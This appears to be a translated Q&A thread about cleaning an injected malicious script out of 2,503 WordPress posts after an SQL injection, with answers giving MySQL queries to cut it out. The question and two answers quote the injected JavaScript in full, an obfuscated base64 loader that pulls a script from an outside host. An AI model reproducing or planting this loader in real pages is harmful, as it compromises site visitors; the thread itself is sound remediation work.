如何从SQL注入攻击中删除帖子中的脚本?

时间:2018-09-09 23:24:15

标签: wordpress sql-injection

我有一个插件,使我的Wordpress网站容易受到SQL注入攻击。从那以后,我锁定了我的网站并删除了所有Wordpress文件,然后重新安装了Wordpress。此插件也已被删除。不幸的是,我现在所有2503个帖子都安装了以下示例脚本:

<!--codes_iframe-->
<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script>
<!--/codes_iframe-->

问题是,当我搜索特定脚本时,每个帖子的base64字符串是不同的。因此,我不能只是查找并替换/删除。

我的想法是,由于脚本的开头和结尾实际上都已注释,因此数据库查询无法以某种方式删除它们之间的代码,然后第二个查询删除注释吗?如果是这样,我在任何地方都找不到。这似乎很容易做到,但是显然(根据Google的说法)非常复杂。

希望有人会提供程序补救措施。同时,我将手动执行此删除操作,希望有人可以为我节省一些时间。

3 个答案:

答案 0 :(得分:4)

MySQL 8.0引入了一个新功能REGEXP_REPLACE(),但是如果您使用的是MySQL的早期版本,则可以使用LOCATE()查找文本的开始和结束位置,然后将内容切掉在这两个位置之间。

我对此进行了测试-创建了一个表wp_mytable,并将您有问题的文本放入表中,前后添加了一些文本。

mysql> select * from wp_mytable\G
*************************** 1. row ***************************
 id: 1
txt: ABC 123
<!--codes_iframe-->
<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"></script>')} </script>
<!--/codes_iframe-->
And that's all, folks.
1 row in set (0.00 sec)

LOCATE()可以找到打开和关闭标签:

mysql> SELECT LOCATE('<!--codes_iframe-->', txt) as start from wp_mytable;
+-------+
| start |
+-------+
|     9 |
+-------+

mysql> SELECT LOCATE('<!--/codes_iframe-->', txt) as end from wp_mytable;
+------+
| end  |
+------+
|  830 |
+------+

现在,如果我们用位置9之前和位置830 + txt之后的内容替换LENGTH('<!--/codes_iframe-->'),则将删除问题内容。

首先使用SELECT进行测试:

mysql> SELECT 
  SUBSTRING(txt, 1, LOCATE('<!--codes_iframe-->', txt)-1) AS pre_txt,
  SUBSTRING(txt, LOCATE('<!--/codes_iframe-->', txt)+LENGTH('<!--/codes_iframe-->')) AS post_txt 
  FROM wp_mytable\G
*************************** 1. row ***************************
 pre_txt: ABC 123

post_txt: 
And that's all, folks.

当我们确信这是正确的子字符串时,请将片段连接在一起并在UPDATE中使用它们:

mysql> UPDATE wp_mytable SET txt = CONCAT(
  SUBSTRING(txt, 1, LOCATE('<!--codes_iframe-->', txt)-1),
  SUBSTRING(txt, LOCATE('<!--/codes_iframe-->', txt)+LENGTH('<!--/codes_iframe-->')))
  WHERE LOCATE('<!--codes_iframe-->', txt) > 0;

像往常一样,在尝试这种手术之前,请备份数据。

在我看来,如果在给定的文本中两次插入了令人讨厌的脚本,那么在完成替换之后,您应该再次搜索数据。替换方法仅除去第一次出现的情况,但您希望这样做。您不希望在两次脚本之间删除合法文本。

顺便说一句,很遗憾听到您被SQL注入攻击所入侵。人们有时会吮吸。

答案 1 :(得分:0)

只是想添加到该线程中,因为我发现它很有用,但与发布的答案有所不同。

最主要的是,我的wordpress数据库中的攻击被附加到许多很多wp_posts的结尾。因此,我不需要重新连接两根琴弦,只需从尾部修剪一下即可。

不确定这是最好的版本,但这是对我有用的东西(在使用SELECT测试之后),并清除了将近3,000篇令人反感的代码:

UPDATE wp_posts SET post_content =
 SUBSTRING(post_content, 1, LOCATE('<!--codes_iframe-->', post_content)-1)
 WHERE LOCATE('<!--codes_iframe-->', post_content) >0;

感谢您的帮助,以使我的网站最终得以清除!

答案 2 :(得分:0)

您可以尝试使用功能replace,该功能最合适:

UPDATE wp_posts SET post_content = replace(post_content, '<!--codes_iframe-->
<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script>
<!--/codes_iframe-->',
'');